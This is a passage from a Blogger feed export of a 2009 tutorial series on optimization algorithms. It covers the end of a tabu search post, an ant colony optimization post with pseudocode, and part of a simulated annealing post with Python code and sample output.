/&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$iterations++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function fitness($array, $target){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return abs(array_sum($array)-$target);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;The neighbour calculation could be done a little better (there's a bit of ugly duplicate code), but the following output is given:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Iteration : fitness = 57&lt;br /&gt;Iteration : tabulist now contains 1 items&lt;br /&gt;Iteration 1: fitness = 56&lt;br /&gt;Iteration 1: tabulist now contains 2 items&lt;br /&gt;Iteration 2: fitness = 55&lt;br /&gt;Iteration 2: tabulist now contains 3 items&lt;br /&gt;Iteration 3: fitness = 54&lt;br /&gt;Iteration 3: tabulist now contains 4 items&lt;br /&gt;Iteration 4: fitness = 53&lt;br /&gt;Iteration 4: tabulist now contains 4 items&lt;br /&gt;Iteration 5: fitness = 52&lt;br /&gt;Iteration 5: tabulist now contains 4 items&lt;br /&gt;...&lt;br /&gt;Iteration 55: tabulist now contains 4 items&lt;br /&gt;Iteration 56: fitness = 1&lt;br /&gt;Iteration 56: tabulist now contains 4 items&lt;br /&gt;Iteration 57: fitness = 0&lt;br /&gt;Perfect solution found:&lt;br /&gt;Array&lt;br /&gt;(&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;[0] =&amp;gt; 66&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;[1] =&amp;gt; 14&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;[2] =&amp;gt; 20&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;[3] =&amp;gt; 99&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;[4] =&amp;gt; 14&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;[5] =&amp;gt; 87&lt;br /&gt;)&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;With this sample problem, such an output was, of course, expected. Notice that I've used the second method of keeping a tabulist.&lt;br /&gt;&lt;br /&gt;This post concludes this series, we only have one post to go, with a general conclusion.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;-----&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-weight: bold;"&gt;Table Of Contents&lt;/span&gt;&amp;nbsp;(click a link to jump to that post)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;Introduction&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html"&gt;Genetic Algorithms&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html"&gt;CHC Eshelman&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html"&gt;Simulated Annealing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html"&gt;Ant Colony Optimization&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html"&gt;Tabu Search&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html"&gt;Conclusion&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-2386548288420339875?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/2386548288420339875/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2386548288420339875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2386548288420339875'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html' title='Modern Genetic (And Other) Algorithms Explained: Part 6 - Tabu Search'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-877211078218729298</id><published>2009-01-22T18:02:00.005+01:00</published><updated>2009-02-05T18:26:48.965+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modern'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='ant'/><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='optimization'/><category scheme='http://www.blogger.com/atom/ns#' term='colony'/><category scheme='http://www.blogger.com/atom/ns#' term='genetic'/><title type='text'>Modern Genetic (And Other) Algorithms Explained: Part 5 - Ant Colony Optimization</title><content type='html'>(This is part 5 in the Modern Genetic Algorithms Explained series, click &lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;here&lt;/a&gt; to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)&lt;br /&gt;&lt;br /&gt;First, let's go to &lt;a href="http://en.wikipedia.org/wiki/Ant_colony_optimization"&gt;Wikipedia&lt;/a&gt; for a definition:&lt;br /&gt;&lt;blockquote&gt;The ant colony optimization algorithm (ACO), is a probabilistic technique for solving computational problems which can be reduced to finding good paths through graphs.&lt;br /&gt;&lt;br /&gt;This algorithm is a member of Ant colony algorithms family, in Swarm intelligence methods, and it constitutes some metaheuristic optimizations. Initially proposed by Marco Dorigo in 1992 in his PhD thesis [1] [2] , the first algorithm was aiming to search for an optimal path in a graph; based on the behavior of ants seeking a path between their colony and a source of food. The original idea has since diversified to solve a wider class of Numerical problems, and as a result, several problems have emerged, drawing on various aspects of the behavior of ants.&lt;/blockquote&gt;&lt;br /&gt;"Good paths through graphs". I have not converted our sample problem from the previous posts to a graphing problem. So no Python sample this time, sorry.&lt;br /&gt;&lt;br /&gt;You do get to see some pseudocode though:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Given a number of nodes&lt;br /&gt;Given some edges between nodes (paths)&lt;br /&gt;Given BT := {}, this will contain our best tour&lt;br /&gt;Randomly construct a tour T&lt;br /&gt;Create a number of "ants" (often equal to number of nodes)&lt;br /&gt;Associate a distance, pheromone value, and delta pheromone value to every edge&lt;br /&gt;Iterate until time limit hit or satisfiable solution found:&lt;br /&gt;&amp;nbsp;&amp;nbsp;For each ant do:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Do until tour constructed:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Next node is chosen depending on visibility (e.g. 1/distance) and pheromone trail&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;E.g. choose next node with probability (visibility^a)*(pheromone trail^b)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Calculate fitness of this tour&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Copy this tour to the best tour if fitness is better&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Update the pheromone trail of each edge of this ant's tour:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;E.g. delta pheromone for edge := 1/(tour cost)&lt;br /&gt;&amp;nbsp;&amp;nbsp;For each edge:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Lower pheromone value by a factor&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Add delta pheromone value to pheromone value&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Set delta pheromone := 0&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;ACO is a very interesting method, again, we see certain aspects already used in the previous posts, like using pheromone trails to avoid local maxima. Since the algorithm is closely tied to graphs, nodes and paths, it's no wonder it's often used to find shortest paths, or to solve the travelling salesman problem.&lt;br /&gt;&lt;br /&gt;There are some interesting links on the Wikipedia page, one of them is this application:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/SWPli1U789I/AAAAAAAAPIA/NNpjK0IHnKE/s1600-h/a1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/SWPli1U789I/AAAAAAAAPIA/NNpjK0IHnKE/s400/a1.png" /&gt;&lt;/a&gt;&lt;/div&gt;After a while, an ant finds a path to the food and places pheromones:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWPlkhL3QjI/AAAAAAAAPII/YdulhWMn9vs/s1600-h/a2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWPlkhL3QjI/AAAAAAAAPII/YdulhWMn9vs/s400/a2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Those who are interested can read more about &lt;a href="http://en.wikipedia.org/wiki/Swarm_intelligence"&gt;Swarm intelligence&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Particle_swarm_optimization"&gt;Particle swarm optimization&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;-----&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-weight: bold;"&gt;Table Of Contents&lt;/span&gt;&amp;nbsp;(click a link to jump to that post)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;Introduction&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html"&gt;Genetic Algorithms&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html"&gt;CHC Eshelman&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html"&gt;Simulated Annealing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html"&gt;Ant Colony Optimization&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html"&gt;Tabu Search&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html"&gt;Conclusion&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-877211078218729298?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/877211078218729298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/877211078218729298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/877211078218729298'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html' title='Modern Genetic (And Other) Algorithms Explained: Part 5 - Ant Colony Optimization'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_X4W-h82Vgjw/SWPli1U789I/AAAAAAAAPIA/NNpjK0IHnKE/s72-c/a1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-8718768855361862329</id><published>2009-01-19T23:07:00.009+01:00</published><updated>2009-02-05T18:26:43.459+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modern'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='genetic'/><title type='text'>Modern Genetic (And Other) Algorithms Explained: Part 4 - Simulated Annealing</title><content type='html'>(This is part 4 in the Modern Genetic Algorithms Explained series, click &lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;here&lt;/a&gt; to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)&lt;br /&gt;&lt;br /&gt;First of all: Simulated Annealing is not a genetic algorithm, but it is a modern optimization technique.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Simulated_Annealing"&gt;Wikipedia&lt;/a&gt; tells us the following:&lt;br /&gt;&lt;blockquote&gt;Simulated annealing (SA) is a generic probabilistic meta-algorithm for the global optimization problem, namely locating a good approximation to the global minimum of a given function in a large search space. It is often used when the search space is discrete (e.g., all tours that visit a given set of cities). For certain problems, simulated annealing may be more effective than exhaustive enumeration — provided that the goal is merely to find an acceptably good solution in a fixed amount of time, rather than the best possible solution.&lt;/blockquote&gt;&lt;blockquote&gt;The name and inspiration come from annealing in metallurgy, a technique involving heating and controlled cooling of a material to increase the size of its crystals and reduce their defects. The heat causes the atoms to become unstuck from their initial positions (a local minimum of the internal energy) and wander randomly through states of higher energy; the slow cooling gives them more chances of finding configurations with lower internal energy than the initial one.&lt;/blockquote&gt;Let's take a look at some pseudocode:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Randomly construct a valid solution&lt;br /&gt;For each temperature do:&lt;br /&gt;&amp;nbsp;&amp;nbsp;For number of trials to do at each temperature do:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Move solution to a neighbour&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Accept neighbour with probability(old_score, new_score, temperature)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Lower the temperature by a reduction factor&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;It becomes clear that this method can be used in discrete optimization problems only, so that we can construct neighbours from our current state. E.g., a first solution in the problem we've been discussing might be [10,51,5,18] with a neighbour [10,52,5,18].&lt;br /&gt;&lt;br /&gt;Also, a probability function needs to be defined. Some functions are constructed so that better solutions will always be accepted. Ideally, we would always like to assign a certain probability, so that worse solutions have a chance of being accepted too (or better ones have a chance at rejection). Again: this is to avoid local maxima (comparable with GA's).&lt;br /&gt;&lt;br /&gt;Often, the new solution is accepted with an exponential distribution: exp( (new_score-old_score)/temperature ).&lt;br /&gt;&lt;br /&gt;Note: the pseudocode at the Wikipedia page doesn't use trials, for some problems, this is good enough.&lt;br /&gt;&lt;br /&gt;Let's see some Python code (again, based on the code mentioned in the previous posts):&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;from random import randint, random&lt;br /&gt;from operator import add&lt;br /&gt;from math import *&lt;br /&gt;&lt;br /&gt;def individual(length, min, max):&lt;br /&gt;&amp;nbsp;&amp;nbsp;'Create a member of the population.'&lt;br /&gt;&amp;nbsp;&amp;nbsp;return [ randint(min,max) for x in xrange(length) ]&lt;br /&gt;&lt;br /&gt;def fitness(individual, target):&lt;br /&gt;&amp;nbsp;&amp;nbsp;"""&lt;br /&gt;&amp;nbsp;&amp;nbsp;Determine the fitness of an individual. Higher is better.&lt;br /&gt;&amp;nbsp;&amp;nbsp;individual: the individual to evaluate&lt;br /&gt;&amp;nbsp;&amp;nbsp;target: the target number individuals are aiming for&lt;br /&gt;&amp;nbsp;&amp;nbsp;"""&lt;br /&gt;&amp;nbsp;&amp;nbsp;sum = reduce(add, individual, 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;return abs(target-sum)&lt;br /&gt;&lt;br /&gt;def probability(o_fitness, n_fitness, temperature):&lt;br /&gt;&amp;nbsp;&amp;nbsp;if n_fitness &amp;lt; o_fitness:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;return exp( (n_fitness-o_fitness) / temperature)&lt;br /&gt;&lt;br /&gt;def temperature(step, max_steps):&lt;br /&gt;&amp;nbsp;&amp;nbsp;return max_steps - step&lt;br /&gt;&lt;br /&gt;def neighbour(ind, min, max):&lt;br /&gt;&amp;nbsp;&amp;nbsp;pos_to_mutate = randint(0, len(ind)-1)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if random() &amp;lt; 0.5:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ind[pos_to_mutate] -= 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ind[pos_to_mutate] += 1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if ind[pos_to_mutate] &amp;lt; min:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ind[pos_to_mutate] = min&lt;br /&gt;&amp;nbsp;&amp;nbsp;elif ind[pos_to_mutate] &amp;gt; max:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ind[pos_to_mutate] = max&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;return ind&lt;br /&gt;&lt;br /&gt;def evolve(ind, nr_trials, step, max_steps, min, max, target):&lt;br /&gt;&amp;nbsp;&amp;nbsp;best_fit = 10000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;for i in range(1,nr_trials):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;n_ind = neighbour(ind, min, max)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;o_fitness = fitness(ind,target)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;n_fitness = fitness(n_ind,target)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if n_fitness &amp;lt; best_fit:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;best_fit = n_fitness&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;#move to new state?&lt;br /&gt;&amp;nbsp;&amp;nbsp;if probability(o_fitness, n_fitness, temperature(step,max_steps)) &amp;gt;= random():&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ind = n_ind&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "Best fitness this evolution:",best_fit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "Temperature this evolution:",temperature(step,max_steps)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;return ind&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;If the fitness of the neighbour is better (remember: that means lower), we immediately accept it. We don't really need a chance of rejection for this problem. Otherwise, we use &lt;tt&gt;exp( (n_fitness-o_fitness) / temperature)&lt;/tt&gt;.&lt;br /&gt;We use a separate function to calculate the temperature for each step. This function is kept fairly simple (max steps - this step), but non-linear temperature can also be implemented.&lt;br /&gt;&lt;br /&gt;Let's try it, our starting temperature becomes 100, using 1000 trials per temperature:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;import sys&lt;br /&gt;sys.path.append("C:\Users\Seppe\Desktop")&lt;br /&gt;from annealing import *&lt;br /&gt;target = 300&lt;br /&gt;i_length = 6&lt;br /&gt;i_min = 0&lt;br /&gt;i_max = 100&lt;br /&gt;i = individual(i_length, i_min, i_max)&lt;br /&gt;print fitness(i, target)&lt;br /&gt;i_k = 0&lt;br /&gt;i_kmax = 100&lt;br /&gt;i_trials = 1000&lt;br /&gt;while i_k &amp;lt; i_kmax:&lt;br /&gt;&amp;nbsp;&amp;nbsp;i = evolve(i, i_trials, i_k, i_kmax, i_min, i_max, target)&lt;br /&gt;&amp;nbsp;&amp;nbsp;i_k += 1&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;The output:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Best fitness this evolution: 34&lt;br /&gt;Temperature this evolution: 100&lt;br /&gt;Best fitness this evolution: 7&lt;br /&gt;Temperature this evolution: 99&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Best fitness this evolution: 0&lt;/span&gt;&lt;br /&gt;Temperature this evolution: 98&lt;br /&gt;Best fitness this evolution: 44&lt;br /&gt;Temperature this evolution: 97&lt;br /&gt;Best fitness this evolution: 43&lt;br /&gt;Temperature this evolution: 96&lt;br /&gt;Best fitness this evolution: 33&lt;br /&gt;Temperature this evolution: 95&lt;br /&gt;Best fitness this evolution: 39&lt;br /&gt;Temperature this evolution: 94&lt;br /&gt;Best fitness this evolution: 44&lt;br /&gt;Temperature this evolution: 93&lt;br /&gt;Best fitness this evolution: 34&lt;br /&gt;Temperature this evolution: 92&lt;br /&gt;Best fitness this evolution: 36&lt;br /&gt;Temperature this evolution: 91&lt;br /&gt;Best fitness this evolution: 50&lt;br /&gt;Temperature this evolution: 90&lt;br /&gt;Best fitness this evolution: 68&lt;br /&gt;Temperature this evolution: 89&lt;br /&gt;Best fitness this evolution: 67&lt;br /&gt;Temperature this evolution: 88&lt;br /&gt;Best fitness this evolution: 53&lt;br /&gt;Temperature this evolution: 87&lt;br /&gt;Best fitness this evolution: 49&lt;br /&gt;Temperature this evolution: 86&lt;br /&gt;Best fitness this evolution: 35&lt;br /&gt;Temperature this evolution: 85&lt;br /&gt;Best fitness this evolution: 55&lt;br /&gt;Temperature this evolution: 84&lt;br /&gt;Best fitness this evolution: 5&lt;br /&gt;Temperature this evolution: 83&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Best fitness this evolution: 0&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Simulated annealing is easy to program and implement. Provided it is 